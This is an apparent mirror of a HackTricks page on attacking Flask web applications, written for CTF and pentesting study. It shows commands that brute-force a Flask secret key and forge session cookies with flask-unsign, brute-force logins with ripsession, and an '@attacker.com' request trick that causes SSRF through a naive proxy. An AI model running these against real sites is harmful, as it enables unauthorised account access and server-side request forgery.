mirror of
https://github.com/carlospolop/hacktricks
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142 lines
5.5 KiB
Markdown
142 lines
5.5 KiB
Markdown
# Flask
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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<figure><img src="../../.gitbook/assets/image (515).png" alt=""><figcaption></figcaption></figure>
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Use [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=flask) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
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Get Access Today:
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{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=flask" %}
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**Probably if you are playing a CTF a Flask application will be related to** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**.**
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## Cookies
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Default cookie session name is **`session`**.
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### Decoder
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Online Flask coockies decoder: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
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#### Manual
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Get the first part of the cookie until the first point and Base64 decode it>
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```bash
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echo "ImhlbGxvIg" | base64 -d
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```
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The cookie is also signed using a password
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### **Flask-Unsign**
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Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys.
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{% embed url="https://pypi.org/project/flask-unsign/" %}
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```bash
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pip3 install flask-unsign
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```
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#### **Decode Cookie**
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```bash
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flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
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```
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#### **Brute Force**
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```bash
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flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
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```
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#### **Signing**
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```bash
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flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
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```
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#### Signing using legacy (old versions)
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```bash
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flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
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```
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### **RIPsession**
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Command line tool to brute-force websites using cookies crafted with flask-unsign.
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{% embed url="https://github.com/Tagvi/ripsession" %}
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```bash
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ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
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```
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### SQLi in Flask session cookie with SQLmap
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[**This example**](../../pentesting-web/sql-injection/sqlmap/#eval) uses sqlmap `eval` option to **automatically sign sqlmap payloads** for flask using a known secret.
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## Flask Proxy to SSRF
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[**In this writeup**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) it's explained how Flask allows a request starting with the charcter "@":
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```http
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GET @/ HTTP/1.1
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Host: target.com
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Connection: close
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```
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Which in the following scenario:
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```python
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from flask import Flask
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from requests import get
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app = Flask('__main__')
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SITE_NAME = 'https://google.com/'
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@app.route('/', defaults={'path': ''})
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@app.route('/<path:path>')
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def proxy(path):
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return get(f'{SITE_NAME}{path}').content
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app.run(host='0.0.0.0', port=8080)
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```
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Could allow to introduce something like "@attacker.com" in order to cause a **SSRF**.
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<figure><img src="../../.gitbook/assets/image (515).png" alt=""><figcaption></figcaption></figure>
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Use [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=flask) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
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Get Access Today:
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{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=flask" %}
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
|
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|
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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